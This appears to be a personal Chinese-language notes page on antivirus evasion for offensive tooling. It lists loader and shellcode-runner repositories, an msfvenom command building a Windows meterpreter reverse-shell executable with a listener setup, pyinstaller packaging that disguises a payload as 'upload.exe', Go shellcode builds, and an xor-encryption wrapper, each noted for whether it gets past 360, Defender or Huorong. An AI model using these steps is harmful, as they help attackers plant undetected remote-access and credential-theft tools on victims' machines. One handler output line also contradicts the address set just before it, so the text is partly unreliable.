免杀

mimikatz 免杀

msf用加载器免杀过360

https://github.com/rsmudge/metasploit-loader

这个好像很厉害的样子！

试一下：

apt-get install mingw-w64
i686-w64-mingw32-gcc main.c -o mm.exe -lws2_32

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.129 LPORT=4444 -f exe > shell.exe

msf > use exploit/multi/handler 
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 4444
LPORT => 4444
msf  exploit(handler) > set LHOST 192.168.59.129
LHOST => 192.168.95.241
msf  exploit(handler) > exploit -j

gedit
mousepad

要不手动编译！

手动编译！连360都过了！

python3 + cs免杀

打包命令
pyinstaller -F 1.py --noconsole

pyinstaller -F 1.py --noconsole -i  Must be Italian.ico -n  upload.exe

这个有持续的回连！

GOlang

1

https://github.com/brimstone/go-shellcode

set CGO_ENABLED=0
set GOOS=windows 
set GOARCH=amd64 
go build -ldflags="-s -w" winlaunch.go

2

https://github.com/vyrus001/shellGo

有时候可能网络的原理上线有点问题连接不上！

c#or加载器

https://github.com/antman1p/ShellCodeRunner

能过360 过不了火绒！

cs免杀过360 和win defender

Advanced AV Evasion Tool For Red Team.
直接工具免杀！

还是秒不了火绒！ 其他的应该没问题！

msf加密壳免杀过360

https://github.com/Natto97/darkarmour

python3 darkarmour.py -f shell.exe -e xor -j -k darkbyte -l 500 -u -o a.exe

都是只能过360 过不了火绒的！